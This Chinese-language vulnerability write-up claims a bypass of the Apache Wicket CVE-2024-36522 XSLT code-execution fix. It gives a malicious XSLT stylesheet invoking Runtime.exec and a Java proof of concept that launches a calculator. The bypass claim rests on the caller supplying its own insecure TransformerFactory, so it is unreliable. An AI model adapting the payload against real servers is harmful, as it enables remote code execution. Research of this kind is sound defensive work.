0x01 漏洞描述 Apache Wicket是一个Java 语言的Web开发框架。2024年6月,官方发布 9.18.0 与 10.1.0 版本 修复CVE-2024-36522 Apache Wicket XSLT 代码执行漏洞。攻击者可构造恶意请求执行任意代码,控制服务器。但是在 9.18.0 与 10.1.0 版本仍可以进行XSLT 代码执行。
0x02 漏洞分析 org.apache.wicket.util.resource.XSLTResourceStream#XSLTResourceStream(org.apache.wicket.util.resource.IResourceStream, org.apache.wicket.util.resource.IResourceStream)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public XSLTResourceStream (IResourceStream xsltResource, IResourceStream xmlResource) { this (xsltResource, xmlResource, defaultTransformerFactory()); }private static TransformerFactory defaultTransformerFactory () { TransformerFactory factory = TransformerFactory.newInstance(); try { factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing" , true ); return factory; } catch (TransformerConfigurationException var2) { TransformerConfigurationException e = var2; throw new RuntimeException (e); } }
这个可以看见9.18.0 与 10.1.0 版本修复方案是写了一个defaultTransformerFactory,启用安全处理特性,防止解析不安全的扩展函数。
这里可以看见调用 this(xsltResource, xmlResource, defaultTransformerFactory()), 里面继续调用TransformerFactory factory = TransformerFactory.newInstance();但是他是一个public方法,我们可以控制transformerFactory,导致9.18.0 与 10.1.0 版本中的defaultTransformerFactory失效。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public abstract class TransformerFactory { protected TransformerFactory () { } public static TransformerFactory newDefaultInstance () { return new TransformerFactoryImpl (); } public static TransformerFactory newInstance () throws TransformerFactoryConfigurationError { return FactoryFinder.find( TransformerFactory.class, "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" ); }
建议修改为private方法。
0x03 复现 使用 Apache Maven 将您的依赖项更新为修复CVE-2024-36522 的版本。
1 2 3 4 5 <dependency > <groupId > org.apache.wicket</groupId > <artifactId > wicket-core</artifactId > <version > 10.1.0</version > </dependency >
或者
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > org.apache.wicket</groupId > <artifactId > wicket-core</artifactId > <version > 9.18.0</version > </dependency > </dependencies >
新建一个恶意的test.xml
1 2 3 4 5 <xsl:stylesheet version ="2.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:java ="http://saxon.sf.net/java-type" > <xsl:template match ="/" > <xsl:value-of select ="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime ="java.lang.Runtime" /> </xsl:template > </xsl:stylesheet >
编写一个poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.unam4;import org.apache.wicket.util.file.File;import org.apache.wicket.util.resource.FileResourceStream;import org.apache.wicket.util.resource.XSLTResourceStream;import javax.xml.transform.TransformerFactory;public class Main { public static void main (String[] args) { FileResourceStream stream1 = new FileResourceStream (new File ("test.xml" )); FileResourceStream stream2 = new FileResourceStream (new File ("test.xml" )); TransformerFactory factory = TransformerFactory.newInstance(); new XSLTResourceStream (stream1,stream2,factory); } }
运行后成功弹出计算器。
声明 此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。